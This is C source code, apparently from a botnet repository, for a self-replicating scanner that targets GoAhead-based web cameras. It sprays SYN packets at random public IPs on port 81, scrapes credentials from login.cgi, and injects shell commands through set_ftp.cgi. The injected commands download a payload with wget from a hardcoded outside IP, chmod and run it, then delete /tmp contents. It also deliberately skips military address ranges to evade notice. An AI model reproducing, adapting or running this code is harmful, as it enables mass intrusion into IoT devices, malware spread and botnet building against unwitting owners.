Path: blob/master/Botnets/Self Reps/GOAHEAD/goahead.c
5038 views
#define _GNU_SOURCE12#ifdef DEBUG3#include <stdio.h>4#endif5#include <unistd.h>6#include <stdlib.h>7#include <sys/socket.h>8#include <arpa/inet.h>9#include <sys/select.h>10#include <sys/types.h>11#include <time.h>12#include <fcntl.h>13#include <signal.h>14#include <errno.h>15#include <string.h>16#include <linux/ip.h>17#include <linux/tcp.h>1819#include "includes.h"20#include "goahead.h"21#include "table.h"22#include "rand.h"23#include "util.h"24#include "checksum.h"2526int scanner_pid = 0, rsck = 0, rsck_out = 0, auth_table_len = 0;27char scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};28struct scanner_auth *auth_table = NULL;29struct scanner_connection *conn_table;30uint16_t auth_table_max_weight = 0;31uint32_t fake_time = 0;3233int recv_strip_null(int sock, void *buf, int len, int flags)34{35int ret = recv(sock, buf, len, flags);3637if(ret > 0)38{39int i = 0;4041for(i = 0; i < ret; i++)42{43if(((char *)buf)[i] == 0x00)44{45((char *)buf)[i] = 'A';46}47}48}4950return ret;51}5253void scanner_init(void)54{55int i = 0;56uint16_t source_port;57struct iphdr *iph;58struct tcphdr *tcph;5960// Let parent continue on main thread61scanner_pid = fork();62if(scanner_pid > 0 || scanner_pid == -1)63return;6465LOCAL_ADDR = util_local_addr();6667rand_init();68fake_time = time(NULL);69conn_table = calloc(SCANNER_MAX_CONNS, sizeof(struct scanner_connection));70for(i = 0; i < SCANNER_MAX_CONNS; i++)71{72conn_table[i].state = SC_CLOSED;73conn_table[i].fd = -1;74conn_table[i].credential_index = 0;75}7677// Set up raw socket scanning and payload78if((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)79{80#ifdef DEBUG81printf("[scanner] failed to initialize raw socket, cannot scan\n");82#endif83exit(0);84}85fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));86i = 1;87if(setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)88{89#ifdef DEBUG90printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");91#endif92close(rsck);93exit(0);94}9596do97{98source_port = rand_next() & 0xffff;99}100while(ntohs(source_port) < 1024);101102iph = (struct iphdr *)scanner_rawpkt;103tcph = (struct tcphdr *)(iph + 1);104105// Set up IPv4 header106iph->ihl = 5;107iph->version = 4;108iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));109iph->id = rand_next();110iph->ttl = 64;111iph->protocol = IPPROTO_TCP;112113// Set up TCP header114tcph->dest = htons(81);115tcph->source = source_port;116tcph->doff = 5;117tcph->window = rand_next() & 0xffff;118tcph->syn = TRUE;119120#ifdef DEBUG121printf("[scanner] scanner process initialized. scanning started.\n");122#endif123124// Main logic loop125while(TRUE)126{127fd_set fdset_rd, fdset_wr;128struct scanner_connection *conn;129struct timeval tim;130int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;131132// Spew out SYN to try and get a response133if(fake_time != last_spew)134{135last_spew = fake_time;136137for(i = 0; i < SCANNER_RAW_PPS; i++)138{139struct sockaddr_in paddr = {0};140struct iphdr *iph = (struct iphdr *)scanner_rawpkt;141struct tcphdr *tcph = (struct tcphdr *)(iph + 1);142143iph->id = rand_next();144iph->saddr = LOCAL_ADDR;145iph->daddr = get_random_ip();146iph->check = 0;147iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));148149tcph->dest = htons(81);150tcph->seq = iph->daddr;151tcph->check = 0;152tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));153154paddr.sin_family = AF_INET;155paddr.sin_addr.s_addr = iph->daddr;156paddr.sin_port = tcph->dest;157158sendto(rsck, scanner_rawpkt, sizeof(scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));159}160}161162// Read packets from raw socket to get SYN+ACKs163last_avail_conn = 0;164while(TRUE)165{166int n = 0;167char dgram[1514];168struct iphdr *iph = (struct iphdr *)dgram;169struct tcphdr *tcph = (struct tcphdr *)(iph + 1);170struct scanner_connection *conn;171172errno = 0;173n = recvfrom(rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);174if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)175break;176177if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))178continue;179if(iph->daddr != LOCAL_ADDR)180continue;181if(iph->protocol != IPPROTO_TCP)182continue;183if(tcph->source != htons(81))184continue;185if(tcph->dest != source_port)186continue;187if(!tcph->syn)188continue;189if(!tcph->ack)190continue;191if(tcph->rst)192continue;193if(tcph->fin)194continue;195if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)196continue;197198conn = NULL;199for(n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)200{201if(conn_table[n].state == SC_CLOSED)202{203conn = &conn_table[n];204last_avail_conn = n;205break;206}207}208209// If there were no slots, then no point reading any more210if(conn == NULL)211break;212213conn->dst_addr = iph->saddr;214conn->dst_port = tcph->source;215setup_connection(conn);216}217218FD_ZERO(&fdset_rd);219FD_ZERO(&fdset_wr);220221for(i = 0; i < SCANNER_MAX_CONNS; i++)222{223int timeout = 5;224225conn = &conn_table[i];226//timeout = (conn->state > SC_CONNECTING ? 30 : 5);227228if(conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)229{230#ifdef DEBUG231printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);232#endif233234close(conn->fd);235conn->fd = -1;236conn->state = SC_CLOSED;237free(conn->credentials);238conn->credential_index = 0;239util_zero(conn->rdbuf, sizeof(conn->rdbuf));240241continue;242}243244if(conn->state == SC_CONNECTING || conn->state == SC_EXPLOIT_STAGE2 || conn->state == SC_EXPLOIT_STAGE3)245{246FD_SET(conn->fd, &fdset_wr);247if(conn->fd > mfd_wr)248mfd_wr = conn->fd;249}250else if(conn->state != SC_CLOSED)251{252FD_SET(conn->fd, &fdset_rd);253if(conn->fd > mfd_rd)254mfd_rd = conn->fd;255}256}257258tim.tv_usec = 0;259tim.tv_sec = 1;260nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);261fake_time = time(NULL);262263for(i = 0; i < SCANNER_MAX_CONNS; i++)264{265conn = &conn_table[i];266267if(conn->fd == -1)268continue;269270if(FD_ISSET(conn->fd, &fdset_wr))271{272int err = 0, ret = 0;273socklen_t err_len = sizeof(err);274275ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);276if(err == 0 && ret == 0)277{278#ifdef DEBUG279printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);280#endif281282if(conn->state == SC_EXPLOIT_STAGE2)283{284#ifdef DEBUG285printf("[scanner] FD%d login extraction successful, continuing with stage 2 of execution\n", conn->fd);286#endif287288// this example is for goahead289util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");290util_strcat(conn->payload_buf, conn->credentials[0]);291util_strcat(conn->payload_buf, "&loginpas=");292util_strcat(conn->payload_buf, conn->credentials[1]);293util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+""cd+/tmp""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");294util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");295util_strcat(conn->payload_buf, conn->credentials[0]);296util_strcat(conn->payload_buf, "&loginpas=");297util_strcat(conn->payload_buf, conn->credentials[1]);298util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+""wget+http:/\/167.99.88.89/a""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");299util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");300util_strcat(conn->payload_buf, conn->credentials[0]);301util_strcat(conn->payload_buf, "&loginpas=");302util_strcat(conn->payload_buf, conn->credentials[1]);303util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+""chmod+777+/tmp/a""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");304util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");305util_strcat(conn->payload_buf, conn->credentials[0]);306util_strcat(conn->payload_buf, "&loginpas=");307util_strcat(conn->payload_buf, conn->credentials[1]);308util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e""/tmp/a""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");309util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");310util_strcat(conn->payload_buf, conn->credentials[0]);311util_strcat(conn->payload_buf, "&loginpas=");312util_strcat(conn->payload_buf, conn->credentials[1]);313util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28rm+-rf+/tmp/*%29 HTTP/1.0\r\n\r\n");314315// actually send the payload316send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);317318// clear the payload buffer319util_zero(conn->payload_buf, sizeof(conn->payload_buf));320321// clear the socket buffer322util_zero(conn->rdbuf, sizeof(conn->rdbuf));323324close(conn->fd);325setup_connection(conn);326conn->credential_index = 0;327conn->state = SC_EXPLOIT_STAGE3;328329continue;330}331else if(conn->state == SC_EXPLOIT_STAGE3)332{333#ifdef DEBUG334printf("[scanner] FD%d sending final command to complete the exploit (stage 3)\n", conn->fd);335#endif336337// build stage 3 payload338util_strcpy(conn->payload_buf2, "GET /ftptest.cgi?loginuse=");339util_strcat(conn->payload_buf2, conn->credentials[0]);340util_strcat(conn->payload_buf2, "&loginpas=");341util_strcat(conn->payload_buf2, conn->credentials[1]);342util_strcat(conn->payload_buf2, " HTTP/1.0\r\n\r\n");343344// actually send the payload345send(conn->fd, conn->payload_buf2, util_strlen(conn->payload_buf2), MSG_NOSIGNAL);346347// clear the payload buffer348util_zero(conn->payload_buf2, sizeof(conn->payload_buf2));349350// clear the socket buffer351util_zero(conn->rdbuf, sizeof(conn->rdbuf));352353// reset stuff354free(conn->credentials);355conn->credential_index = 0;356357close(conn->fd);358conn->fd = -1;359conn->state = SC_CLOSED;360361continue;362}363else364{365#ifdef DEBUG366printf("[scanner] FD%d preparing to retrieve credentials (stage %d)\n", conn->fd, conn->state);367#endif368369conn->credentials = malloc(256);370send(conn->fd, "GET login.cgi HTTP/1.0\r\n\r\n", 26, MSG_NOSIGNAL);371conn->state = SC_GET_CREDENTIALS;372}373}374else375{376#ifdef DEBUG377printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);378#endif379380close(conn->fd);381conn->fd = -1;382conn->state = SC_CLOSED;383384continue;385}386}387388if(FD_ISSET(conn->fd, &fdset_rd))389{390while(TRUE)391{392int ret = 0;393394if(conn->state == SC_CLOSED)395break;396397if(conn->rdbuf_pos == SCANNER_RDBUF_SIZE)398{399memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);400conn->rdbuf_pos -= SCANNER_HACK_DRAIN;401}402403errno = 0;404ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);405if(ret == 0)406{407#ifdef DEBUG408printf("[scanner] FD%d connection gracefully closed (stage %d)\n", conn->fd, conn->state);409#endif410errno = ECONNRESET;411ret = -1;412}413if(ret == -1)414{415if(errno != EAGAIN && errno != EWOULDBLOCK)416{417if(conn->state == SC_EXPLOIT_STAGE2)418{419#ifdef DEBUG420printf("[scanner] FD%d resetting connection preparing to continue with stage 2 of the exploit\n", conn->fd);421#endif422close(conn->fd);423setup_connection(conn);424continue;425}426427close(conn->fd);428conn->fd = -1;429conn->state = SC_CLOSED;430free(conn->credentials);431conn->credential_index = 0;432util_zero(conn->rdbuf, sizeof(conn->rdbuf));433}434break;435}436437conn->rdbuf_pos += ret;438conn->last_recv = fake_time;439440int len = util_strlen(conn->rdbuf);441conn->rdbuf[len] = 0;442443if(conn->state == SC_GET_CREDENTIALS)444{445char *out = strtok(conn->rdbuf, " ");446447while(out != NULL)448{449if(strstr(out, "login"))450{451#ifdef DEBUG452printf("[scanner] FD%d parsing credentials...\n", conn->fd);453#endif454455memmove(out, out + 11, strlen(out));456457int i = 0;458459for(i = 0; i < strlen(out); i++)460{461if(out[i] == ';' || out[i] == '"' || out[i] == ' ')462out[i] = 0;463}464465conn->credentials[conn->credential_index] = strdup(out);466conn->credential_index++;467468}469470out = strtok(NULL, " ");471}472}473474if(conn->credentials[0] == NULL && conn->credentials[1] == NULL)475{476#ifdef DEBUG477printf("[scanner] FD%d failed to retrieve credentials\n", conn->fd);478#endif479close(conn->fd);480conn->fd = -1;481conn->state = SC_CLOSED;482free(conn->credentials);483conn->credential_index = 0;484util_zero(conn->rdbuf, sizeof(conn->rdbuf));485}486else487{488#ifdef DEBUG489printf("[scanner] FD%d retrieved user: %s, pass: %s changing exploit stages\n", conn->fd, conn->credentials[0], conn->credentials[1]);490#endif491492close(conn->fd);493conn->fd = -1;494conn->state = SC_EXPLOIT_STAGE2;495conn->credential_index = 0;496util_zero(conn->rdbuf, sizeof(conn->rdbuf));497}498}499}500}501}502}503504void scanner_kill(void)505{506kill(scanner_pid, 9);507}508509static void setup_connection(struct scanner_connection *conn)510{511struct sockaddr_in addr = {0};512513if(conn->fd != -1)514close(conn->fd);515516if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)517{518#ifdef DEBUG519printf("[scanner] failed to call socket()\n");520#endif521return;522}523524conn->rdbuf_pos = 0;525util_zero(conn->rdbuf, sizeof(conn->rdbuf));526527fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));528529addr.sin_family = AF_INET;530addr.sin_addr.s_addr = conn->dst_addr;531addr.sin_port = conn->dst_port;532533conn->last_recv = fake_time;534535if(conn->state == SC_EXPLOIT_STAGE2 || conn->state == SC_EXPLOIT_STAGE3)536{537}538else539{540conn->state = SC_CONNECTING;541}542543connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));544}545546static ipv4_t get_random_ip(void)547{548uint32_t tmp;549uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;550551do552{553tmp = rand_next();554555o1 = tmp & 0xff;556o2 = (tmp >> 8) & 0xff;557o3 = (tmp >> 16) & 0xff;558o4 = (tmp >> 24) & 0xff;559}560while(o1 == 127 || // 127.0.0.0/8 - Loopback561(o1 == 0) || // 0.0.0.0/8 - Invalid address space562(o1 == 3) || // 3.0.0.0/8 - General Electric Company563(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company564(o1 == 56) || // 56.0.0.0/8 - US Postal Service565(o1 == 10) || // 10.0.0.0/8 - Internal network566(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network567(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network568(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved569(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved570(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use571(o1 >= 224) || // 224.*.*.*+ - Multicast572(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense573);574575return INET_ADDR(o1,o2,o3,o4);576}577578579